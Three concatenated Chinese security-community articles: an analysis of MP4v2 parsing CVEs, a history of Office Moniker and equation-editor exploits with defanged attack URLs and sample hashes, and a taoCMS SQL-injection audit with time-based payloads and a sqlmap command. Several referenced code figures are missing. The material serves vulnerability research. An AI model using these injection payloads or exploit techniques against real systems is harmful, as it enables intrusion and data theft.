我们所常说的.mp4文件，其实是基于MPEG-4标准第14部分(MPEG-4 Part
14)格式定义的视频文件。其基本单元是各种类型的”box”，每个box的header有8 bytes，其中前4 bytes是这个box的大小(big-endian)，后4
bytes是这个box的类型。而且box可以一层层嵌套起来，形成类似于树的结构。具体各box的结构可参见<http://xhelmboyx.tripod.com/formats/mp4-layout.txt>
在库MP4v2中，用不同类型的”atom”来表示这些box：
可以看到，box，或者说atom的种类是非常之多的，以上仅仅是类型以”d”开头的box。而正是由于各种box的不同排列组合，给MP4文件的解析带来了极大的复杂性，从而也为MP4v2带来了较多的安全隐患。
## CVE-2018-14054
这是一个double free漏洞，具体来说，是一个32 bytes大小的fastbin double free。
当解析遇到类型为`mp4v`的box时，会首先创建一个`MP4Mp4vAtom`，这个类的构造函数中包含以下代码：
这里创建了一个名为`compressorName`，固定大小为32，初始值为`""`的属性。而创建属性的过程中会为这个初始值分配大小为32
bytes的内存空间：
接下来，会解析”mp4v”的具体内容，这是通过调用atom的虚函数Read来完成：
可以看到，一旦在解析过程中捕获异常，便会将所创建的atom释放。而调用`MP4Mp4vAtom的`析构函数时，会free掉上面为属性所分配的内存。
另一方面，在解析MP4Mp4vAtom的过程中，会读取`compressorName`属性的实际值。为了避免内存泄漏，读取属性的值时，会先将保存默认值的内存释放掉，再重新分配内存保存读到的内容：
这里的`MP4Free(value);`便构成了第一次free，而只要在重新为`value`赋值之前触发异常，那么`value`的值仍然是被free掉的内存，并且会进入异常捕获函数。如上面所说，在捕获函数中对atom进行析构时，又会再一次触发free，从而构成了double
free。
而想要触发异常，需要在`file`的read相关函数中完成。检查这些函数的实现可知，如果实际读取的长度小于需要读取的长度，就会抛出异常：
所以，只需要截断MP4文件，让其无法读取足够的内容即可触发异常，从而按照上面所说的流程，发生double free。
## CVE-2018-14325和CVE-2018-14326
这两个漏洞是整数溢出漏洞，一个是下溢(underflow)，一个是上溢(overflow)。
在文章的起始处，我们简单介绍过MP4文件中每个box的基本格式：起始4 bytes是这个box的大小，接下来4
bytes是这个box的类型。而MP4v2在处理box的大小时，就可能发生整数下溢：
这里的`dataSize`即为读取到这个box的大小，`hdrSize`即为box的header的大小，一般为8
bytes。正常的box包含header和数据，大小肯定是大于8 bytes的。但是如果构造一个恶意的box，并且将其大小设置为7
bytes，那么计算得到这个box的数据部分大小就是-1=0xffffffff bytes了，而这明显是有问题的。
例如，对于类型为`ftyp`的box来说，会根据数据的大小来更新数组：
一旦box的数据大小因溢出而变得巨大，那么SetCount函数就会触发内存访问错误：
另一方面，在对数组大小进行调整时，存在整数上溢漏洞。我们来看上面的Resize函数的实现：
可以看到，这里是用数组元素的数量乘以大小，从而得到需要分配的内存。但是这个整数乘法是存在溢出的漏洞的：一旦元素数量过大，乘法得到的结果很可能会变成一个比较小的数甚至是0。那么随后对这个数组的处理也会发生越界访问。
下面就是一个POC，可以看到这个MP4文件只有一个`ftyp` box，而且大小正好是7
bytes。一旦运行`mp4info`解析这个文件，就会发生段错误：
## CVE-2018-14379
这是一个类型混淆漏洞(type confusion)，其成因在于MP4v2没有考虑到不按照规则排列的box。
具体地，类型为`ilst`的box包含了视频的一些tag信息，例如作者、专辑、年份等。在MP4v2的实现中，`ilst`包含一批子box，每个子box用`MP4ItemAtom`来保存，分别对应各项信息；而这些信息实际的值，则是在`MP4ItemAtom`的子box中，其类型为`data`，用`MP4DataAtom`来保存。所以，`ilst`基本的树形结构类似于这样：
在MP4v2的代码中，是这样构造这些atom的：
可以看到，如果一个box的父box是`ilst`类型的，那么就会认为这是一个item，并用`MP4ItemAtom`来保存；如果一个类型为`data`的box的祖先有`ilst`，但父box不是`ilst`，那么就认为这是存储实际信息的data
box，并用`MP4DataAtom`来保存。
正常的MP4文件，这样处理自然是没有问题的。但是如果我们构造了一个畸形的MP4，其中`ilst`的子box是`ilst`，孙box是`data`，那么按照上面的代码，子box会用`MP4ItemAtom`来保存，但是孙box仍然会用`MP4ItemAtom`而非`MP4DataAtom`，这就造成了一个类型错误。
当全部box都解析完成后，如果需要显示MP4的tag信息，就会对之前构造的atoms进行读取：
这里会先取出保存`ilst`的atom，遍历其子atom，并对每个视为`MP4ItemAtom`的子atom提取其`MP4DataAtom`信息：
而之前用`MP4ItemAtom`保存的孙box，这里就会被直接转化成`MP4DataAtom`访问。这两个类的布局是存在差异的，这样的类型错误就会造成内存越界访问：
## CVE-2018-14403
这也是一个类型混淆漏洞，与前一个所不同的是，这个漏洞的成因在于字符串比较。
具体地，如果需要寻找特定类型的atom，会遍历atom树的每个元素，并检查其类型是否是我们所需要的：
但是，比较两个类型字符串的函数`MP4NameFirstMatches`是存在问题的：
可以看到，如果字符串`s1`比`s2`短，而且两者的前几个字符是相同的，那么这个函数就会认为`s1`与`s2`是相同的。例如，`MP4NameFirstMatches("abcx00",
"abcd")`会返回`true`，但是类型为`abcx00`的atom并不是我们想要的`abcd`。
另一方面，在解析文件并构造atom时，是严格按照读取到的4
bytes来决定用哪一个atom。因此，这里就可能存在类型错误，即我们寻找到的特定类型的atom，其实际的class可能是另外一种atom。
例如，MP4v2会用`MP4SdtpAtom`这个atom来保存类型为`sdtp`的box。在MP4文件解析完成，生成track信息时，会查找类型为`sdtp`的atom：
如果我们的MP4文件中并没有这个类型的box，但是有类型为`sdtx00`的box，那么在解析生成atom时，并不会生成`MP4SdtpAtom`。而上面的`FindAtom`，却又可以找到一个atom，虽然这个atom的类型并不是`sdtp`。那么接下来，这个atom就会被当成`MP4SdtpAtom`错误使用，从而造成内存越界访问。
经过进一步分析调试，我们重新组织排列了一批box，使得32位程序对于上面`MP4SdtpAtom`的访问，会最终根据trackID的内容生成地址去访问，而trackID的值是我们可以控制的。在下面的POC中，我们构造了一个特殊的MP4文件，使得最终会读取`0xdeadbeef`处的内容：
## 总结
可以看到，MP4v2的代码存在较多的问题，而且漏洞的原理也都比较清晰。目前发现的这些漏洞，基本都是内存访问错误造成程序崩溃。但能否进一步利用，以及如何进一步利用，还需要我们继续学习研究。
## 参考资料
[1] <https://code.google.com/archive/p/mp4v2/>
[2] <http://xhelmboyx.tripod.com/formats/mp4-layout.txt>
[3] <http://www.openwall.com/lists/oss-security/2018/07/13/1>
[4] <http://www.openwall.com/lists/oss-security/2018/07/16/1>
[5] <http://www.openwall.com/lists/oss-security/2018/07/17/1>
[6] <http://www.openwall.com/lists/oss-security/2018/07/18/3> | 社区文章 |
# 谈谈Office Moniker类漏洞和公式编辑器类漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在近几年出现的诸多office漏洞中，有两类漏洞是很值得谈谈的，第一类是Moniker导致的逻辑漏洞，第二类是公式编辑器漏洞。
对于第一类漏洞，其重点在于攻击者和微软安全团队之间的攻防过程，了解这类漏洞攻防过程对威胁追踪与研究较有益处：
1. 第一回合：CVE-2017-0199，用URL Moniker加载远程HTA文件实现远程代码执行；
2. 第二回合：CVE-2017-8570，用CompositeMoniker、FileMoniker、NewMoniker、scriptletfile实现远程代码执行；
3. 第三回合：CVE-2017-8759，用office文档加载.Net组件漏洞，实现远程代码执行；
4. 第四回合：CVE-2018-8174，用office文档加载IE VBScript组件漏洞，实现远程代码执行；
5. 第五回合：CVE-2020-0674，用office文档加载IE JavaScript组件漏洞，实现远程代码执行。
对于第二类漏洞，其难点在于对相似漏洞之间的区分。从CVE-2017-11882开始，到CVE-2018-0802，再到CVE-2018-0798，三个都是非常相似的漏洞，在静态层面不容易区分，本文将分享一个在动态层面区分它们的方法。
下面跟随笔者一起来看一下这两类漏洞。
## Moniker类漏洞
### 第一回合：CVE-2017-0199
2017年4月7日，著名office漏洞研究员李海飞发布了一篇在野0day攻击预警，首度披露了CVE-2017-0199漏洞的在野攻击。随后，2017年4月11日和12日，FireEye连发两篇文章，披露了他们捕获到的CVE-2017-0199漏洞样本细节。后续的披露表明这几篇文章中披露的漏洞是一种借助URL
Moniker特性加载远程hta文件的新型漏洞，这是一个由于开发者对office文件加载机制设计不合理导致的逻辑漏洞，且要求触发环境安装IE10/IE11。漏洞触发过程不需要用户交互，但在触发的过程中会弹出一个对话框，不点击或者点击任意该对话框的按钮都不影响执行过程，对话框样式如下：
该漏洞的发现者之一李海飞曾经在Syscan360 2017会议上做过题为《Moniker Magic: Running Scripts Directly
in Microsoft Office》的演讲，里面详细介绍了CVE-2017-0199的细节，包括：
1. 微软在CVE-2017-0199的补丁中修复了两个漏洞，分别是被在野利用的RTF URL Moniker加载远程HTA文件的远程代码执行漏洞，和李海飞独立发现的PPSX Script Moniker远程代码执行漏洞；
2. office安全团队在这两个漏洞的基础上设计了一类针对Moniker的黑名单机制，禁用了一些他们觉得不安全的Moniker。
Moniker本身是office的一个特性，可以用来链接一些本地或远程对象，其本身不属于漏洞，漏洞发生在office软件对远程链接的文件的执行策略上。譬如，如果远程加载的是一个Excel文件，直接打开没问题；但如果加载的是HTA文件和Script这类脚本文件时，直接执行就存在问题了，导致了漏洞。
### 第二回合：CVE-2017-8570
在对CVE-2017-0199补丁的研究过程中，李海飞发现（上面也已经提到）：
* office安全团队在这CVE-2017-0199的补丁中设计了一类针对Moniker的黑名单机制，禁用了一些他们觉得不安全的Moniker。
于是他开始寻找那些还没有被禁用的Moniker，尝试用那些没有被禁用的Moniker构造出另一个逻辑漏洞，结果确实找到一个，即CVE-2017-8570。
在CVE-2017-0199中，用到的Moniker是下面这两个：
3050F4D8-98B5-11CF-BB82-00AA00BDCE0B // htafile
06290BD3-48AA-11D2-8432-006008C3FBFC // scriptlet(or ScriptMoniker)
而在CVE-2017-8570中，用到的Moniker是下面这几个：
00000309-0000-0000-C000-000000000046 // CompositeMoniker
00000303-0000-0000-C000-000000000046 // FileMoniker
ECABAFC6-7F19-11D2-978E-0000F8757E2A // NewMoniker
06290BD2-48AA-11D2-8432-006008C3FBFC // scriptletfile(or ScripletFactory)
可以看到CVE-2017-8570利用未被加入黑名单的Moniker绕过了CVE-2017-0199的补丁。
不过，许多分析过CVE-2017-8570的读者可能会观察到一个奇怪的现象：漏洞中触发时script脚本中的代码会被执行两次。这是为什么呢？原来，在这个漏洞的触发逻辑中，会涉及到wwlib.dll库中的一个函数调用，该函数内部会顺序调用ole32!CDefLink::BindToSource和ole32!CDefLink::Update两个函数，如下（以office
2010为例）：
而这两个函数最终都会调用kernel32!CreateProcessW创建进程，所以script脚本中的代码会被执行两次。其中ole32!CDefLink::BindToSource创建进程的栈回溯如下：
0:000> k 50
ChildEBP RetAddr
0013a5b4 729cd2f5 kernel32!CreateProcessW
0013a63c 729cd5f7 wshom!CreateNewProcessW+0x6f
0013a69c 76da3e75 wshom!CWshShell::Exec+0x19a
0013a6bc 76da3cef OLEAUT32!DispCallFunc+0x165
0013a74c 729d0267 OLEAUT32!CTypeInfo2::Invoke+0x23f
...cut...
0013ae9c 7705b5dc comsvcs!CNewMoniker::BindToObject+0x14f
0013aed0 770c3cc6 ole32!CCompositeMoniker::BindToObject+0x105 [d:\w7rtm\com\ole32\com\moniker2\ccompmon.cxx @ 1104]
0013af3c 68ee87ce ole32!CDefLink::BindToSource+0x1bf [d:\w7rtm\com\ole32\ole232\stdimpl\deflink.cpp @ 4637]
0013af80 68a61429 wwlib!wdGetApplicationObject+0x69230 // 第一处调用
0013b010 68a23b2c wwlib!DllGetLCID+0x4753b3
...cut...
而ole32!CDefLink::Update创建进程的栈回溯如下：
0:000> k 50
ChildEBP RetAddr
0013a57c 729cd2f5 kernel32!CreateProcessW
0013a604 729cd5f7 wshom!CreateNewProcessW+0x6f
0013a664 76da3e75 wshom!CWshShell::Exec+0x19a
0013a684 76da3cef OLEAUT32!DispCallFunc+0x165
0013a714 729d0267 OLEAUT32!CTypeInfo2::Invoke+0x23f
...cut...
0013ae68 7705b5dc comsvcs!CNewMoniker::BindToObject+0x14f
0013ae9c 770c3c55 ole32!CCompositeMoniker::BindToObject+0x105 [d:\w7rtm\com\ole32\com\moniker2\ccompmon.cxx @ 1104]
0013af08 7710f7ee ole32!CDefLink::BindToSource+0x14e [d:\w7rtm\com\ole32\ole232\stdimpl\deflink.cpp @ 4611]
0013af30 7710f42a ole32!CDefLink::Update+0x62 [d:\w7rtm\com\ole32\ole232\stdimpl\deflink.cpp @ 5347]
0013af44 68ee8830 ole32!CDefLink::Update+0x33 [d:\w7rtm\com\ole32\ole232\stdimpl\deflink.cpp @ 2695]
0013af80 68a61429 wwlib!wdGetApplicationObject+0x69292 // 第二处调用
0013b010 68a23b2c wwlib!DllGetLCID+0x4753b3
...cut...
### 第三回合：CVE-2017-8759
在CVE-2017-8570漏洞被修复后，累计有如下这些Moniker被加入黑名单：
3050F4D8-98B5-11CF-BB82-00AA00BDCE0B // htafile
06290BD3-48AA-11D2-8432-006008C3FBFC // scriptlet(or ScriptMoniker)
00000309-0000-0000-C000-000000000046 // CompositeMoniker
00000303-0000-0000-C000-000000000046 // FileMoniker
ECABAFC6-7F19-11D2-978E-0000F8757E2A // NewMoniker
06290BD2-48AA-11D2-8432-006008C3FBFC // scriptletfile(or ScripletFactory)
在前面几个Moniker不能使用之后，攻击者又注意到了下面这个Moniker：
ecabb0c7-7f19-11d2-978e-0000f8757e2a // SOAPMoniker
SOAP
Moniker可以用来加载一个远程的SOAP配置文件，当Word进程远程加载这个配置文件时，.Net组件会被加载用来解析对应的配置文件，并按照配置自动生成一个C#文件，再自动将该C#文件编译得到一个动态链接库并执行。攻击者借助.Net
SOAP
WSDL模块中的一个代码注入漏洞（CVE-2015-8759），将恶意脚本代码注入到了待编译的C#文件中，从而让编译得到的动态链接库包含恶意代码并自动执行。
从CVE-2017-8759开始，攻击者开始借助office组件与其他Windows组件之间的交互进行攻击。.Net的漏洞本身不属于office的范围，却可以借助office文档进行触发，这种攻击方式当时给笔者留下了深刻的印象。
### 第四回合：CVE-2018-8174
CVE-2017-8759被修复后，Moniker黑名单又得到了更新：
3050F4D8-98B5-11CF-BB82-00AA00BDCE0B // htafile
06290BD3-48AA-11D2-8432-006008C3FBFC // scriptlet(or ScriptMoniker)
00000309-0000-0000-C000-000000000046 // CompositeMoniker
00000303-0000-0000-C000-000000000046 // FileMoniker
ECABAFC6-7F19-11D2-978E-0000F8757E2A // NewMoniker
06290BD2-48AA-11D2-8432-006008C3FBFC // scriptletfile(or ScripletFactory)
ecabb0c7-7f19-11d2-978e-0000f8757e2a // SOAPMoniker
在上面这些Moniker都不可用之后，攻击者又想出了一种新的攻击方式：借助URL
Moniker去加载远程html文件，这样就可以借助office加载IE漏洞。攻击者首先用URL
Moniker+CVE-2014-6332的组合试了一下该方案的可行性，笔者追溯到的这方面的最早样本为2018年1月17日的下面这个文件（以及相关文件）：
// CVE-2014-6332
Document MD5: A9D3F7A1ACD624DE705CF27EC699B6B6
URL Moniker: hxxp://s.dropcanvas[.]com/1000000/940000/939574/akw.html
akw.html MD5: C40A128AE7AEFFA3C1720A516A99BBDF
到了2018年4月，攻击者终于按捺不住了，借助URL Moniker+IE VBScript
0day的方式对特定目标进行了攻击，这次攻击所用漏洞就是著名的CVE-2018-8174，相关样本如下：
// CVE-2018-8174
Document MD5: b48ddad351dd16e4b24f3909c53c8901
URL Moniker: hxxp://autosoundcheckers[.]com/s2/search[.]php?who=7
search.htm MD5: 15eafc24416cbf4cfe323e9c271e71e7
CVE-2018-8174出现后，微软安全团队并未直接将office加载VBScript脚本的功能进行限制。随后，在2018年7月，攻击者又借助另一个IE
VBScript 0day（CVE-2018-8173），用相同的方式实施了攻击。
这下微软不淡定了，赶紧对Office加载VBScript脚本进行了限制。
### 第五回合：CVE-2020-0674
故事到这里就结束了吗？当然没有。此时，微软依然没有限制office加载JavaScript脚本，所以IE浏览器的两个JavaScript引擎：JScript和JScript9依然可以通过此种方式进行攻击。
其一，据笔者所知，在2018年的天府杯上，针对office项目的攻击采用了URL Moniker + IE JScript9 0day的组合。
其二，2019年-2020年，由于几个JScript漏洞被相继披露，陆续有APT攻击组织使用URL Moniker + JScript
1day的方式实施攻击，相关样本如下：
// CVE-2020-0674
Document MD5: 90403dfafa3c573c49aa52c5fe511169
URL Moniker: hxxp://tsinghua.gov-mil[.]cn/images/A96961AA/36604/1836/65449576/ab8feee
ab8feee MD5: 1892D293030E81D0D1D777CB79A0FDBE
// CVE-2020-0968
Document MD5: 60981545a5007e5c28c8275d5f51d8f0
URL Moniker: hxxp://94.156.174[.]7/up/a1a.htm
a1a.htm MD5: 293916af3a30b3d7a0dc2949115859a6
于是微软在高版本office中（office2016及以上版本）也加入了对JScript9脚本和JScript脚本的加载限制。
至此，攻击者针对Moniker的所有尝试都被微软进行了封堵，此后未观察到针对Moniker的新攻击方式。
## 公式编辑器漏洞
2017年11月补丁日，国外安全公司_embedi发表了一篇《SKELETON IN THE CLOSET: MS Office vulnerability
you didn’t know
about》详细描述了他们发现office公式编辑器漏洞CVE-2017-11882的整个过程（笔者发现这家公司的官网已经挂了…）。
属于office公式编辑器漏洞的时代至此开启。
由于组件源码的丢失，微软的补丁开发人员花了较长时间来修复这一漏洞，并且以一种近乎炫技的方式，直接在二进制层面对程序作了修补，在没有重新编译源码的情况下修复了漏洞，并添加了ASLR支持。
然而，一时激起千层浪，CVE-2017-11882出现后，广大安全研究员蜂拥而至，都开始关注office公式编辑器这一组件，这直接导致微软在2018年1月的更新中砍掉了公式编辑器组件。
在第二次修复的诸多office公式编辑器漏洞中，有两个漏洞比较值得注意，这两个漏洞分别为CVE-2018-0802和CVE-2018-0798，三个漏洞并称为office公式编辑器漏洞领域的“三驾马车”，
由于笔者经常看到分析人员对这三个漏洞的样本进行误判，所以这里分享一种在动态层面区分这三个漏洞的方法。
首先跟随笔者来了解一下这三个漏洞的具体成因，下文中的汇编代码基于以下公式编辑器组件：
eqnedt32.exe 2000.11.9.0
在office中，公式编辑器的数据被存储在一个OLE文件的“Equation Native”流中，三个公式编辑器漏洞都是在处理这个流的数据时出现的问题。
### CVE-2017-11882
首先来看一下CVE-2017-11882。
该漏洞的成因为：在读入“Equation Native”流中的Font Name
Record数据时，在将Name拷贝到某个局部变量的时候没有对Name的长度做校验，从而造成栈缓冲区溢出，漏洞发生点如下图所示：
从下图可以看出，函数给SrcStr变量分配的大小是0x24个字节，Name长度超过该大小就会造成栈溢出。
CVE-2017-11882的触发逻辑如下所示：
### CVE-2018-0802
再来看一下CVE-2018-0802。
该漏洞的成因为：在将“Equation Native”流中的Font Name
Record数据拷贝到一个LOGFONT结构体（位于栈上）内的lfFaceName成员（它是一个以空结尾的char型字符串，最大长度为0x20，其中包含终止符NULL），没有对Name的长度做校验，从而造成栈缓冲区溢出，漏洞发生点如下图所示：
CVE-2018-0802漏洞的触发路径和CVE-2017-11882有很大的重叠，下图可以做一个直观的比对：
由于某些限制，CVE-2018-0802在未打CVE-2017-11882补丁的版本上只会造成crash，但在打了补丁的版本上可以实现远程代码执行。
### CVE-2018-0798
最后看一下CVE-2018-0798。
该漏洞的成因为：在读入“Equation Native”流中的Matrix
Record数据时，存在一处while循环内的数据读取操作，由于未对Matrix的行和列两个参数进行校验，从而使攻击者可以控制由此计算得到的拷贝长度，导致栈缓冲区溢出：
上述汇编片段描述了一个while循环，反汇编成伪代码如下，攻击者可以控制伪码中v2的大小，从而导致了数据读写越界：
上述代码位于sub_443F6C函数内，所以理论上只要调用sub_443F6C函数的地方均存在CVE-2018-0798漏洞。作为与之前两个漏洞的对比，在之前两个漏洞的基础上加入CVE-2018-0798的触发路径如下：
### 动态区分三个公式编辑器漏洞
以上笔者已经介绍了三个公式编辑器漏洞的成因，借助上述知识，很容易在调试器中确认特定样本使用的漏洞，判定方式如下：
// CVE-2017-11882
.text:00411655 C1 E9 02 shr ecx, 2 // 获取此偏移处的ecx值，若ecx的值位于(0x20, 0x94]区间，即为CVE-2017-11882
.text:00411658 F3 A5 rep movsd
.text:0041165A 8B C8 mov ecx, eax
.text:0041165C 83 E1 03 and ecx, 3
// CVE-2018-0802
.text:00421E5B C1 E9 02 shr ecx, 2 // 获取此偏移处的ecx值，若ecx的值大于0x94，即为CVE-2018-0802
.text:00421E5E F3 A5 rep movsd
.text:00421E60 8B C8 mov ecx, eax
.text:00421E62 83 E1 03 and ecx, 3
.text:00421E65 F3 A4 rep movsb
// CVE-2018-0798
.text:00443F79 8D 04 45 02 00 00 00 lea eax, ds:2[eax*2]
.text:00443F80 83 C0 07 add eax, 7
.text:00443F83 C1 F8 03 sar eax, 3
.text:00443F86 66 89 45 08 mov [ebp+arg_0], ax // 获取此偏移处的eax值，若eax的值大于4，即为CVE-2018-0798
有些样本会同时满足上述两个或三个条件，因为这些样本中内嵌多个公式编辑器漏洞利用。
### 延伸
细心的读者会发现2020年极棒大赛上使用的某国产软件公式编辑器漏洞和CVE-2018-0798基本一样，有兴趣的读者可以自行对比研究。
## 参考链接
<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/critical-office-zero-day-attacks-detected-wild/>
<https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html>
<https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html>
<https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/zerodayresearch/Moniker_Magic_final.pdf>
<http://justhaifei1.blogspot.com/2017/07/bypassing-microsofts-cve-2017-0199-patch.html>
<https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html>
<https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/>
<https://ti.dbappsecurity.com.cn/blog/index.php/2020/07/13/sidewinder-new-attack-target-cn/>
<https://ti.dbappsecurity.com.cn/blog/index.php/2020/09/18/operation-domino/>
<https://support.microsoft.com/en-us/help/4058123/security-settings-for-com-objects-in-office>
<https://www.anquanke.com/post/id/87311>
<https://www.anquanke.com/post/id/94210>
<https://www.freebuf.com/vuls/160409.html> | 社区文章 |
**前言**
本次主要还是想学习一下sql注入的一些姿势点，造成sql注入的代码原理，所以主要是审计的注入。望大师傅们给点建议。
**熟悉cms**
直接先进入admin.php和index.php
发现index.php有点难以理解。但是大致可以通过函数名和语义分析出是根据一些变量或者一些路径来渲染，加载模板文件，随后回显到前端。
再看admin.php，发现存在action参数和ctrl参数。
发现有两个方法，class_exists和method_exists，这两个函数是判断是否存在类和方法的，接下if内的语句判断，指导action是类名，ctrl是函数名，有点像路由
题目搜索发现处理数据库请求的类为cms方法为lists
直接搜索跟进
找到执行sql语句的函数，跟进发现有个存放sql方法的文件
<?php
class Dbclass {
public $conn=NULL;
public $querynum = 0;
static private $_single =null;
function __construct($dbhost,$pconnect = 0){
$this->connect($dbhost,$pconnect = 0);
}
function connect($dbhost,$pconnect = 0){
if(isset(self::$_single[$dbhost])&&$mysqli->ping){
return true;
}
if(RUNONSAE){
$dbhost=SAE_MYSQL_HOST_M.':'.SAE_MYSQL_PORT;
$dbuser=SAE_MYSQL_USER;
$dbpw=SAE_MYSQL_PASS;
$dbname=SAE_MYSQL_DB;
}elseif(RUNONBAE){
$dbconfig=explode('|',$dbhost);
$dbhost = getenv('HTTP_BAE_ENV_ADDR_SQL_IP').':'.getenv('HTTP_BAE_ENV_ADDR_SQL_PORT');
$dbuser = getenv('HTTP_BAE_ENV_AK');
$dbpw = getenv('HTTP_BAE_ENV_SK');
$dbname=$dbconfig[4];
}
else{
$dbconfig=explode('|',$dbhost);
if(count($dbconfig)<4)Base::showmessage( 'taoCMS未被正确安装或配置导致无法读取数据'.$this->error().$this->errno() , WEBURL . 'install.php' );
$dbhost=$dbconfig[1];
$dbuser=$dbconfig[2];
$dbpw=$dbconfig[3];
$dbname=$dbconfig[4];
}
if($pconnect){
if(!$this->conn = new mysqli($dbhost,$dbuser,$dbpw)){
$this->halt();
}
} else {
if(!$this->conn = new mysqli($dbhost,$dbuser,$dbpw)){
$this->halt();
}
}
$this->select_db($dbname);
$this->query('set names utf8');
self::$_single[$dbhost]=true;
}
function select_db($dbname){
return $this->conn->select_db($dbname);
}
function query($sql){
//echo $sql;
$query = $this->conn->query($sql);
return $query;
}
function fetch_array($query,$result_type = MYSQLI_ASSOC){
return $query->fetch_array($result_type);
}
function getlist($table,$wheres = "1=1", $colums = '*',$limits = '20',$orderbys="id DESC"){
$query = $this->query("select ".$colums." from ".$table." where ".$wheres." ORDER BY ".$orderbys." limit ".$limits);
while($rs = $this->fetch_array($query)){
$datas[]=Base::magic2word($rs);
}
return $datas ;
}
function getquery($sqltext){
$sqlArray=array();
$sqlArray=explode('|',$sqltext);
$table=$sqlArray[0];
if(!$sqlArray[0]){
return NULL;
}
$wheres=$sqlArray[1]?$sqlArray[1]:'1=1';
$limits=$sqlArray[2]?$sqlArray[2]:'10';
$orderbys=$sqlArray[3]?$sqlArray[3]:"id DESC";
$colums=$sqlArray[4]?$sqlArray[4]:"*";
$query = $this->query("select ".$colums." from ".$table." where ".$wheres." ORDER BY ".$orderbys." limit ".$limits);
return $query;
}
function add_one($table,$data ){
if (is_array($data)){
foreach ($data as $k=>$v){
$colums.=Base::safeword($k).',';
$columsData.="'".Base::safeword($v)."',";
}
$sql="INSERT INTO ".$table." (".substr($colums,0,-1).") VALUES(".substr($columsData,0,-1).")";
$query = $this->query($sql);
return $this->insert_id();
}
return FALSE;
}
function delist($table,$idArray,$wheres=""){
if($wheres==''){
$ids=implode(',',$idArray);
echo "idarray:".$ids."<br>";
echo "DELETE FROM ".$table." WHERE id in(".$ids.")";
$query = $this->query("DELETE FROM ".$table." WHERE id in(".$ids.")");
}else{
$query = $this->query("DELETE FROM ".$table." WHERE ".$wheres);
}
return $query;
}
function updatelist($table,$data,$idArray){
if (is_array($data)){
foreach ($data as $k=>$v){
$updateData.=Base::safeword($k)."='".Base::safeword($v)."',";
}
$data=substr($updateData,0,-1);
}
$idArray=(array)$idArray;
$ids=implode(',',$idArray);
$query = $this->query("UPDATE ".$table." set ".$data." WHERE id in(".$ids.")");
return $query;
}
function get_one($table,$wheres = "1=1", $colums = '*',$limits = '1',$orderbys="id DESC"){
$sql="select ".$colums." from ".$table." where ".$wheres." ORDER BY ".$orderbys." limit ".$limits;
echo $sql;
$query = $this->query($sql);
if(empty($query)){
return false;
}
$rs = Base::magic2word($this->fetch_array($query));
$this->free_result($query);
return $rs ;
}
function affected_rows(){
return $this->conn->affected_rows;
}
function error(){
return $this->conn->error;
}
function errno(){
return $this->conn->errno;
}
function result($query,$row){
$query->data_seek($row); $query = $query->fetch_array()[0];
return $query;
}
function num_rows($query){
$query = $query->num_rows;
return $query;
}
function num_fields($query){
return $query->field_count;
}
function free_result($query){
return $query->free_result();
}
function insert_id(){
$id = $this->conn->insert_id;
return $id;
}
function fetch_row($query){
$query = $query->fetch_row();
return $query;
}
function halt(){
if(in_array($this->errno(),array(1049,1146,2002,1046))){
Base::showmessage( 'taoCMS未被正确安装或配置导致无法读取数据'.$this->error().$this->errno() , WEBURL . 'install.php' );
}
echo $this->error() . ':' . $this->errno();
}
function close(){
mysqli_close($this->conn);
}
function __destruct(){
$this->close();
}
}
?>
阅读代码，发现有过滤函数对变量进行了一些过滤处理。
发现对输入做了处理，不过只有等级为6的时候才会这样处理，对敏感的字符进行处理，如替换，进制转换等等。
**注入点存在处**
最后找到几个未过滤的函数方法：delist、getquery、updatelist、get_one、getlist
那就值针对这几个方法看
**审计开始**
先看第一个函数delist，看到有三个文件有这三个函数，先看第一个
**delist**
Article类
看到传入的参数有表名、参数id，以及where参数，用于筛选匹配数据
在后台管理系统中没看到该模块的调用，然后看CMS类的时候发现CMS继承了Article类，所以看CMS类就好了
Category
这里可以看到仍然没有对id进行过滤，直接使用sleep(5)延时，看到burpsuite返回的时间是5s，符合执行语句，这次只有一次数据库操作，所以返回时间没啥变化
CMS
跟Article类是一样的语句所以其实是通杀
测试bool盲注，对语句进行拼接，看参数知道是id
payload：27) or 1=1#
发现回显没啥特征进行，采用延时确认，发现成功延时12s，我们的语句写的是4s，说明经历了三次注入，后续再研究
这里payload使用--+是失败的，还是需要用#号，不是很明白
直接上sqlmap，注入出当前user，使用的一些参数
-v 3 --level 5 --risk 3 --random-agent --current-user --technique T --dbms mysql -p id
继续跟进代码，看看为什么产生了三次延时，看看createtag方法
可以看到传参值也是id，而id在加入sql语句前也没有进行安全处理，只针对tags参数进行过滤，但是我们这个删除执行很明显没有传递tag参数，所以走的是下面的else语句，成功拼接到语句中，根据之前阅读的方法知道，delist、getquery、updatelist、get_one、getlist这几个函数中没有对输入值进行过滤，执行我们的payload。
这里有两条语句都拼接了所以一共延时了3次
**getquery**
可以看到该方法没有合适的调用，都是在一些模板文件中用于加载数据，所以直接放弃
**updatelist**
category
看到这里的调用，发现是经过这个add_one处理过的，不是传参的那个status
add_one处理POST传输的数据，对数据了过滤转义，然后返回值，所以不存在注入
而在update函数中，没有进行数据数据过滤处理，有可能存在注入
payload：1) or sleep(4)#
这个语句同样也有
**getlist**
category
根据参数知道id对应的参数为$where参数，对应的同样没有过滤，直接打入payload
延时4s
Admin
全局搜索getlis，在admin.php中找到edit方法存在getlist的调用，并且能够可控参数
那么直接抓包修改id值，注意不能用or，我用or这个payload打的时候没触发sleep()函数，因为or是代表或的意思，而这里id=2,2是存在的，所以就不执行sleep函数，就像命令中的“||”符号。所以用and直接一起执行。
payload：2 and sleep(5)%23
执行成功，直接延时5s
Category
可以看到也是继承的Article，注入位置也是相同的
payload:1 or sleep(5)%23
Cms
筛选到cms类中的updateurl方法存在该函数调用，分析前后发现$addsql参数是由$id参数组合而成的，那么也很明显的存在注入，id没有经过处理。
延时成功
lists方法也存在注入点，继续发现getlist语句的参数由$addsql控制，而该参数能够拼接，发现name参数被用安全方法过滤了危险字符，所以主要看cat和status参数。，在save方法。
这个方法我一直想知道在哪个地方调用，我是用ctrl调用也不行，然后发现他是通过传参调用的，在save方法找到该方法的调用。
